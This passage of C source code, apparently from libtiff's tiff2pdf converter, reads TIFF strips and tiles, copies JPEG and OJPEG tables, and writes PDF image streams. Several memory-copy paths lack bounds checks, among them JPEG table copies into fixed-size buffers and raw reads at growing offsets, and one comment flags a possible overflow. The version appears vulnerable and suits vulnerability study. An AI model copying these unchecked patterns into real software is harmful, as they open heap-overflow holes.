t2p->t2p_error = T2P_ERR_ERROR; return(0); } buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); _TIFFmemcpy(buffer, t2p->pdf_ojpegdata, t2p->pdf_ojpegdatalength); bufferoffset=t2p->pdf_ojpegdatalength; stripcount=TIFFNumberOfStrips(input); for(i=0;i<stripcount;i++){ if(i != 0){ buffer[bufferoffset++]=0xff; buffer[bufferoffset++]=(0xd0 | ((i-1)%8)); } bufferoffset+=TIFFReadRawStrip(input, i, (tdata_t) &(((unsigned char*)buffer)[bufferoffset]), -1); } if( ! ( (buffer[bufferoffset-1]==0xd9) && (buffer[bufferoffset-2]==0xff) ) ){ buffer[bufferoffset++]=0xff; buffer[bufferoffset++]=0xd9; } t2pWriteFile(output, (tdata_t) buffer, bufferoffset); _TIFFfree(buffer); return(bufferoffset); #if 0 /* This hunk of code removed code is clearly mis-placed and we are not sure where it should be (if anywhere) */ TIFFError(TIFF2PDF_MODULE, "No support for OJPEG image %s with no JPEG File Interchange offset", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); #endif } } #endif /* ifdef OJPEG_SUPPORT */ #ifdef JPEG_SUPPORT if(t2p->tiff_compression == COMPRESSION_JPEG) { uint32 count = 0; buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); if (TIFFGetField(input, TIFFTAG_JPEGTABLES, &count, &jpt) != 0) { if(count > 4) { _TIFFmemcpy(buffer, jpt, count); bufferoffset += count - 2; } } stripcount=TIFFNumberOfStrips(input); TIFFGetField(input, TIFFTAG_STRIPBYTECOUNTS, &sbc); for(i=0;i<stripcount;i++){ if(sbc[i]>max_striplength) max_striplength=sbc[i]; } stripbuffer = (unsigned char*) _TIFFmalloc(max_striplength); if(stripbuffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %u bytes of memory for t2p_readwrite_pdf_image, %s", max_striplength, TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error = T2P_ERR_ERROR; return(0); } for(i=0;i<stripcount;i++){ striplength=TIFFReadRawStrip(input, i, (tdata_t) stripbuffer, -1); if(!t2p_process_jpeg_strip( stripbuffer, &striplength, buffer, t2p->tiff_datasize, &bufferoffset, i, t2p->tiff_length)){ TIFFError(TIFF2PDF_MODULE, "Can't process JPEG data in input file %s", TIFFFileName(input)); _TIFFfree(samplebuffer); _TIFFfree(buffer); t2p->t2p_error = T2P_ERR_ERROR; return(0); } } buffer[bufferoffset++]=0xff; buffer[bufferoffset++]=0xd9; t2pWriteFile(output, (tdata_t) buffer, bufferoffset); _TIFFfree(stripbuffer); _TIFFfree(buffer); return(bufferoffset); } #endif /* ifdef JPEG_SUPPORT */ (void)0; } if(t2p->pdf_sample==T2P_SAMPLE_NOTHING){ buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); stripsize=TIFFStripSize(input); stripcount=TIFFNumberOfStrips(input); for(i=0;i<stripcount;i++){ read = TIFFReadEncodedStrip(input, i, (tdata_t) &buffer[bufferoffset], TIFFmin(stripsize, t2p->tiff_datasize - bufferoffset)); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding strip %u of %s", i, TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } bufferoffset+=read; } } else { if(t2p->pdf_sample & T2P_SAMPLE_PLANAR_SEPARATE_TO_CONTIG){ sepstripsize=TIFFStripSize(input); sepstripcount=TIFFNumberOfStrips(input); stripsize=sepstripsize*t2p->tiff_samplesperpixel; stripcount=sepstripcount/t2p->tiff_samplesperpixel; buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); samplebuffer = (unsigned char*) _TIFFmalloc(stripsize); if(samplebuffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; _TIFFfree(buffer); return(0); } for(i=0;i<stripcount;i++){ samplebufferoffset=0; for(j=0;j<t2p->tiff_samplesperpixel;j++){ read = TIFFReadEncodedStrip(input, i + j*stripcount, (tdata_t) &(samplebuffer[samplebufferoffset]), TIFFmin(sepstripsize, stripsize - samplebufferoffset)); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding strip %u of %s", i + j*stripcount, TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } samplebufferoffset+=read; } t2p_sample_planar_separate_to_contig( t2p, &(buffer[bufferoffset]), samplebuffer, samplebufferoffset); bufferoffset+=samplebufferoffset; } _TIFFfree(samplebuffer); goto dataready; } buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); stripsize=TIFFStripSize(input); stripcount=TIFFNumberOfStrips(input); for(i=0;i<stripcount;i++){ read = TIFFReadEncodedStrip(input, i, (tdata_t) &buffer[bufferoffset], TIFFmin(stripsize, t2p->tiff_datasize - bufferoffset)); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding strip %u of %s", i, TIFFFileName(input)); _TIFFfree(samplebuffer); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } bufferoffset+=read; } if(t2p->pdf_sample & T2P_SAMPLE_REALIZE_PALETTE){ // FIXME: overflow? samplebuffer=(unsigned char*)_TIFFrealloc( (tdata_t) buffer, t2p->tiff_datasize * t2p->tiff_samplesperpixel); if(samplebuffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; _TIFFfree(buffer); return(0); } else { buffer=samplebuffer; t2p->tiff_datasize *= t2p->tiff_samplesperpixel; } t2p_sample_realize_palette(t2p, buffer); } if(t2p->pdf_sample & T2P_SAMPLE_RGBA_TO_RGB){ t2p->tiff_datasize=t2p_sample_rgba_to_rgb( (tdata_t)buffer, t2p->tiff_width*t2p->tiff_length); } if(t2p->pdf_sample & T2P_SAMPLE_RGBAA_TO_RGB){ t2p->tiff_datasize=t2p_sample_rgbaa_to_rgb( (tdata_t)buffer, t2p->tiff_width*t2p->tiff_length); } if(t2p->pdf_sample & T2P_SAMPLE_YCBCR_TO_RGB){ samplebuffer=(unsigned char*)_TIFFrealloc( (tdata_t)buffer, t2p->tiff_width*t2p->tiff_length*4); if(samplebuffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; _TIFFfree(buffer); return(0); } else { buffer=samplebuffer; } if(!TIFFReadRGBAImageOriented( input, t2p->tiff_width, t2p->tiff_length, (uint32*)buffer, ORIENTATION_TOPLEFT, 0)){ TIFFError(TIFF2PDF_MODULE, "Can't use TIFFReadRGBAImageOriented to extract RGB image from %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } t2p->tiff_datasize=t2p_sample_abgr_to_rgb( (tdata_t) buffer, t2p->tiff_width*t2p->tiff_length); } if(t2p->pdf_sample & T2P_SAMPLE_LAB_SIGNED_TO_UNSIGNED){ t2p->tiff_datasize=t2p_sample_lab_signed_to_unsigned( (tdata_t)buffer, t2p->tiff_width*t2p->tiff_length); } } dataready: t2p_disable(output); TIFFSetField(output, TIFFTAG_PHOTOMETRIC, t2p->tiff_photometric); TIFFSetField(output, TIFFTAG_BITSPERSAMPLE, t2p->tiff_bitspersample); TIFFSetField(output, TIFFTAG_SAMPLESPERPIXEL, t2p->tiff_samplesperpixel); TIFFSetField(output, TIFFTAG_IMAGEWIDTH, t2p->tiff_width); TIFFSetField(output, TIFFTAG_IMAGELENGTH, t2p->tiff_length); TIFFSetField(output, TIFFTAG_ROWSPERSTRIP, t2p->tiff_length); TIFFSetField(output, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG); TIFFSetField(output, TIFFTAG_FILLORDER, FILLORDER_MSB2LSB); switch(t2p->pdf_compression){ case T2P_COMPRESS_NONE: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_NONE); break; #ifdef CCITT_SUPPORT case T2P_COMPRESS_G4: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_CCITTFAX4); break; #endif /* ifdef CCITT_SUPPORT */ #ifdef JPEG_SUPPORT case T2P_COMPRESS_JPEG: if(t2p->tiff_photometric==PHOTOMETRIC_YCBCR) { uint16 hor = 0, ver = 0; if (TIFFGetField(input, TIFFTAG_YCBCRSUBSAMPLING, &hor, &ver) !=0 ) { if(hor != 0 && ver != 0){ TIFFSetField(output, TIFFTAG_YCBCRSUBSAMPLING, hor, ver); } } if(TIFFGetField(input, TIFFTAG_REFERENCEBLACKWHITE, &xfloatp)!=0){ TIFFSetField(output, TIFFTAG_REFERENCEBLACKWHITE, xfloatp); } } if(TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_JPEG)==0){ TIFFError(TIFF2PDF_MODULE, "Unable to use JPEG compression for input %s and output %s", TIFFFileName(input), TIFFFileName(output)); _TIFFfree(buffer); t2p->t2p_error = T2P_ERR_ERROR; return(0); } TIFFSetField(output, TIFFTAG_JPEGTABLESMODE, 0); if(t2p->pdf_colorspace & (T2P_CS_RGB | T2P_CS_LAB)){ TIFFSetField(output, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_YCBCR); if(t2p->tiff_photometric != PHOTOMETRIC_YCBCR){ TIFFSetField(output, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RGB); } else { TIFFSetField(output, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RAW); } } if(t2p->pdf_colorspace & T2P_CS_GRAY){ (void)0; } if(t2p->pdf_colorspace & T2P_CS_CMYK){ (void)0; } if(t2p->pdf_defaultcompressionquality != 0){ TIFFSetField(output, TIFFTAG_JPEGQUALITY, t2p->pdf_defaultcompressionquality); } break; #endif /* ifdef JPEG_SUPPORT */ #ifdef ZIP_SUPPORT case T2P_COMPRESS_ZIP: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_DEFLATE); if(t2p->pdf_defaultcompressionquality%100 != 0){ TIFFSetField(output, TIFFTAG_PREDICTOR, t2p->pdf_defaultcompressionquality % 100); } if(t2p->pdf_defaultcompressionquality/100 != 0){ TIFFSetField(output, TIFFTAG_ZIPQUALITY, (t2p->pdf_defaultcompressionquality / 100)); } break; #endif /* ifdef ZIP_SUPPORT */ default: break; } t2p_enable(output); t2p->outputwritten = 0; #ifdef JPEG_SUPPORT if(t2p->pdf_compression == T2P_COMPRESS_JPEG && t2p->tiff_photometric == PHOTOMETRIC_YCBCR){ bufferoffset = TIFFWriteEncodedStrip(output, (tstrip_t)0, buffer, stripsize * stripcount); } else #endif /* ifdef JPEG_SUPPORT */ { bufferoffset = TIFFWriteEncodedStrip(output, (tstrip_t)0, buffer, t2p->tiff_datasize); } if (buffer != NULL) { _TIFFfree(buffer); buffer=NULL; } if (bufferoffset == (tsize_t)-1) { TIFFError(TIFF2PDF_MODULE, "Error writing encoded strip to output PDF %s", TIFFFileName(output)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } written = t2p->outputwritten; return(written); } /* * This function reads the raster image data from the input TIFF for an image * tile and writes the data to the output PDF XObject image dictionary stream * for the tile. It returns the amount written or zero on error. */ tsize_t t2p_readwrite_pdf_image_tile(T2P* t2p, TIFF* input, TIFF* output, ttile_t tile){ uint16 edge=0; tsize_t written=0; unsigned char* buffer=NULL; tsize_t bufferoffset=0; unsigned char* samplebuffer=NULL; tsize_t samplebufferoffset=0; tsize_t read=0; uint16 i=0; ttile_t tilecount=0; /* tsize_t tilesize=0; */ ttile_t septilecount=0; tsize_t septilesize=0; #ifdef JPEG_SUPPORT unsigned char* jpt; float* xfloatp; uint32 xuint32=0; #endif /* Fail if prior error (in particular, can't trust tiff_datasize) */ if (t2p->t2p_error != T2P_ERR_OK) return(0); edge |= t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile); edge |= t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile); if( (t2p->pdf_transcode == T2P_TRANSCODE_RAW) && ((edge == 0) #if defined(JPEG_SUPPORT) || defined(OJPEG_SUPPORT) || (t2p->pdf_compression == T2P_COMPRESS_JPEG) #endif ) ){ #ifdef CCITT_SUPPORT if(t2p->pdf_compression == T2P_COMPRESS_G4){ buffer= (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory " "for t2p_readwrite_pdf_image_tile, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } TIFFReadRawTile(input, tile, (tdata_t) buffer, t2p->tiff_datasize); if (t2p->tiff_fillorder==FILLORDER_LSB2MSB){ TIFFReverseBits(buffer, t2p->tiff_datasize); } t2pWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize); _TIFFfree(buffer); return(t2p->tiff_datasize); } #endif #ifdef ZIP_SUPPORT if(t2p->pdf_compression == T2P_COMPRESS_ZIP){ buffer= (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory " "for t2p_readwrite_pdf_image_tile, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } TIFFReadRawTile(input, tile, (tdata_t) buffer, t2p->tiff_datasize); if (t2p->tiff_fillorder==FILLORDER_LSB2MSB){ TIFFReverseBits(buffer, t2p->tiff_datasize); } t2pWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize); _TIFFfree(buffer); return(t2p->tiff_datasize); } #endif #ifdef OJPEG_SUPPORT if(t2p->tiff_compression == COMPRESSION_OJPEG){ if(! t2p->pdf_ojpegdata){ TIFFError(TIFF2PDF_MODULE, "No support for OJPEG image %s with " "bad tables", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } buffer=(unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory " "for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } _TIFFmemcpy(buffer, t2p->pdf_ojpegdata, t2p->pdf_ojpegdatalength); if(edge!=0){ if(t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile)){ buffer[7]= (t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength >> 8) & 0xff; buffer[8]= (t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength ) & 0xff; } if(t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile)){ buffer[9]= (t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth >> 8) & 0xff; buffer[10]= (t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth ) & 0xff; } } bufferoffset=t2p->pdf_ojpegdatalength; bufferoffset+=TIFFReadRawTile(input, tile, (tdata_t) &(((unsigned char*)buffer)[bufferoffset]), -1); ((unsigned char*)buffer)[bufferoffset++]=0xff; ((unsigned char*)buffer)[bufferoffset++]=0xd9; t2pWriteFile(output, (tdata_t) buffer, bufferoffset); _TIFFfree(buffer); return(bufferoffset); } #endif #ifdef JPEG_SUPPORT if(t2p->tiff_compression == COMPRESSION_JPEG){ unsigned char table_end[2]; uint32 count = 0; buffer= (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate " TIFF_SIZE_FORMAT " bytes of memory " "for t2p_readwrite_pdf_image_tile, %s", (TIFF_SIZE_T) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(TIFFGetField(input, TIFFTAG_JPEGTABLES, &count, &jpt) != 0) { if (count > 0) { _TIFFmemcpy(buffer, jpt, count); bufferoffset += count - 2; table_end[0] = buffer[bufferoffset-2]; table_end[1] = buffer[bufferoffset-1]; } if (count > 0) { xuint32 = bufferoffset; bufferoffset += TIFFReadRawTile( input, tile, (tdata_t) &(((unsigned char*)buffer)[bufferoffset-2]), -1); buffer[xuint32-2]=table_end[0]; buffer[xuint32-1]=table_end[1]; } else { bufferoffset += TIFFReadRawTile( input, tile, (tdata_t) &(((unsigned char*)buffer)[bufferoffset]), -1); } } t2pWriteFile(output, (tdata_t) buffer, bufferoffset); _TIFFfree(buffer); return(bufferoffset); } #endif (void)0; } if(t2p->pdf_sample==T2P_SAMPLE_NOTHING){ buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for " "t2p_readwrite_pdf_image_tile, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } read = TIFFReadEncodedTile( input, tile, (tdata_t) &buffer[bufferoffset], t2p->tiff_datasize); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding tile %u of %s", tile, TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } } else { if(t2p->pdf_sample == T2P_SAMPLE_PLANAR_SEPARATE_TO_CONTIG){ septilesize=TIFFTileSize(input); septilecount=TIFFNumberOfTiles(input); /* tilesize=septilesize*t2p->tiff_samplesperpixel; */ tilecount=septilecount/t2p->tiff_samplesperpixel; buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory " "for t2p_readwrite_pdf_image_tile, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } samplebuffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(samplebuffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory " "for t2p_readwrite_pdf_image_tile, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } samplebufferoffset=0; for(i=0;i<t2p->tiff_samplesperpixel;i++){ read = TIFFReadEncodedTile(input, tile + i*tilecount, (tdata_t) &(samplebuffer[samplebufferoffset]), septilesize); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding tile %u of %s", tile + i*tilecount, TIFFFileName(input)); _TIFFfree(samplebuffer); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } samplebufferoffset+=read; } t2p_sample_planar_separate_to_contig( t2p, &(buffer[bufferoffset]), samplebuffer, samplebufferoffset); bufferoffset+=samplebufferoffset; _TIFFfree(samplebuffer); } if(buffer==NULL){ buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory " "for t2p_readwrite_pdf_image_tile, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } read = TIFFReadEncodedTile( input, tile, (tdata_t) &buffer[bufferoffset], t2p->tiff_datasize); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding tile %u of %s", tile, TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } } if(t2p->pdf_sample & T2P_SAMPLE_RGBA_TO_RGB){ t2p->tiff_datasize=t2p_sample_rgba_to_rgb( (tdata_t)buffer, t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth *t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); } if(t2p->pdf_sample & T2P_SAMPLE_RGBAA_TO_RGB){ t2p->tiff_datasize=t2p_sample_rgbaa_to_rgb( (tdata_t)buffer, t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth *t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); } if(t2p->pdf_sample & T2P_SAMPLE_YCBCR_TO_RGB){ TIFFError(TIFF2PDF_MODULE, "No support for YCbCr to RGB in tile for %s", TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(t2p->pdf_sample & T2P_SAMPLE_LAB_SIGNED_TO_UNSIGNED){ t2p->tiff_datasize=t2p_sample_lab_signed_to_unsigned( (tdata_t)buffer, t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth *t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); } } if(t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile) != 0){ t2p_tile_collapse_left( buffer, TIFFTileRowSize(input), t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth, t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth, t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); } t2p_disable(output); TIFFSetField(output, TIFFTAG_PHOTOMETRIC, t2p->tiff_photometric); TIFFSetField(output, TIFFTAG_BITSPERSAMPLE, t2p->tiff_bitspersample); TIFFSetField(output, TIFFTAG_SAMPLESPERPIXEL, t2p->tiff_samplesperpixel); if(t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile) == 0){ TIFFSetField( output, TIFFTAG_IMAGEWIDTH, t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth); } else { TIFFSetField( output, TIFFTAG_IMAGEWIDTH, t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth); } if(t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile) == 0){ TIFFSetField( output, TIFFTAG_IMAGELENGTH, t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); TIFFSetField( output, TIFFTAG_ROWSPERSTRIP, t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); } else { TIFFSetField( output, TIFFTAG_IMAGELENGTH, t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength); TIFFSetField( output, TIFFTAG_ROWSPERSTRIP, t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength); } TIFFSetField(output, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG); TIFFSetField(output, TIFFTAG_FILLORDER, FILLORDER_MSB2LSB); switch(t2p->pdf_compression){ case T2P_COMPRESS_NONE: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_NONE); break; #ifdef CCITT_SUPPORT case T2P_COMPRESS_G4: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_CCITTFAX4); break; #endif #ifdef JPEG_SUPPORT case T2P_COMPRESS_JPEG: if (t2p->tiff_photometric==PHOTOMETRIC_YCBCR) { uint16 hor = 0, ver = 0; if (TIFFGetField(input, TIFFTAG_YCBCRSUBSAMPLING, &hor, &ver)!=0) { if (hor != 0 && ver != 0) { TIFFSetField(output, TIFFTAG_YCBCRSUBSAMPLING, hor, ver); } } if(TIFFGetField(input, TIFFTAG_REFERENCEBLACKWHITE, &xfloatp)!=0){ TIFFSetField(output, TIFFTAG_REFERENCEBLACKWHITE, xfloatp); } } TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_JPEG); TIFFSetField(output, TIFFTAG_JPEGTABLESMODE, 0); /* JPEGTABLESMODE_NONE */ if(t2p->pdf_colorspace & (T2P_CS_RGB | T2P_CS_LAB)){ TIFFSetField(output, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_YCBCR); if(t2p->tiff_photometric != PHOTOMETRIC_YCBCR){ TIFFSetField(output, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RGB); } else { TIFFSetField(output, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RAW); } } if(t2p->pdf_colorspace & T2P_CS_GRAY){ (void)0; } if(t2p->pdf_colorspace & T2P_CS_CMYK){ (void)0; } if(t2p->pdf_defaultcompressionquality != 0){ TIFFSetField(output, TIFFTAG_JPEGQUALITY, t2p->pdf_defaultcompressionquality); } break; #endif #ifdef ZIP_SUPPORT case T2P_COMPRESS_ZIP: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_DEFLATE); if(t2p->pdf_defaultcompressionquality%100 != 0){ TIFFSetField(output, TIFFTAG_PREDICTOR, t2p->pdf_defaultcompressionquality % 100); } if(t2p->pdf_defaultcompressionquality/100 != 0){ TIFFSetField(output, TIFFTAG_ZIPQUALITY, (t2p->pdf_defaultcompressionquality / 100)); } break; #endif default: break; } t2p_enable(output); t2p->outputwritten = 0; bufferoffset = TIFFWriteEncodedStrip(output, (tstrip_t) 0, buffer, TIFFStripSize(output)); if (buffer != NULL) { _TIFFfree(buffer); buffer = NULL; } if (bufferoffset == -1) { TIFFError(TIFF2PDF_MODULE, "Error writing encoded tile to output PDF %s", TIFFFileName(output)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } written = t2p->outputwritten; return(written); } #ifdef OJPEG_SUPPORT int t2p_process_ojpeg_tables(T2P* t2p, TIFF* input){ uint16 proc=0; void* q; uint32 q_length=0; void* dc; uint32 dc_length=0; void* ac; uint32 ac_length=0; uint16* lp; uint16* pt; uint16 h_samp=1; uint16 v_samp=1; unsigned char* ojpegdata; uint16 table_count; uint32 offset_table; uint32 offset_ms_l; uint32 code_count; uint32 i=0; uint32 dest=0; uint16 ri=0; uint32 rows=0; if(!TIFFGetField(input, TIFFTAG_JPEGPROC, &proc)){ TIFFError(TIFF2PDF_MODULE, "Missing JPEGProc field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(proc!=JPEGPROC_BASELINE && proc!=JPEGPROC_LOSSLESS){ TIFFError(TIFF2PDF_MODULE, "Bad JPEGProc field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(!TIFFGetField(input, TIFFTAG_JPEGQTABLES, &q_length, &q)){ TIFFError(TIFF2PDF_MODULE, "Missing JPEGQTables field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(q_length < (64U * t2p->tiff_samplesperpixel)){ TIFFError(TIFF2PDF_MODULE, "Bad JPEGQTables field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(!TIFFGetField(input, TIFFTAG_JPEGDCTABLES, &dc_length, &dc)){ TIFFError(TIFF2PDF_MODULE, "Missing JPEGDCTables field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(proc==JPEGPROC_BASELINE){ if(!TIFFGetField(input, TIFFTAG_JPEGACTABLES, &ac_length, &ac)){ TIFFError(TIFF2PDF_MODULE, "Missing JPEGACTables field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } } else { if(!TIFFGetField(input, TIFFTAG_JPEGLOSSLESSPREDICTORS, &lp)){ TIFFError(TIFF2PDF_MODULE, "Missing JPEGLosslessPredictors field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(!TIFFGetField(input, TIFFTAG_JPEGPOINTTRANSFORM, &pt)){ TIFFError(TIFF2PDF_MODULE, "Missing JPEGPointTransform field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } } if(!TIFFGetField(input, TIFFTAG_YCBCRSUBSAMPLING, &h_samp, &v_samp)){ h_samp=1; v_samp=1; } if(t2p->pdf_ojpegdata != NULL){ _TIFFfree(t2p->pdf_ojpegdata); t2p->pdf_ojpegdata=NULL; } t2p->pdf_ojpegdata = _TIFFmalloc(2048); if(t2p->pdf_ojpegdata == NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %u bytes of memory for t2p_process_ojpeg_tables, %s", 2048, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } _TIFFmemset(t2p->pdf_ojpegdata, 0x00, 2048); t2p->pdf_ojpegdatalength = 0; table_count=t2p->tiff_samplesperpixel; 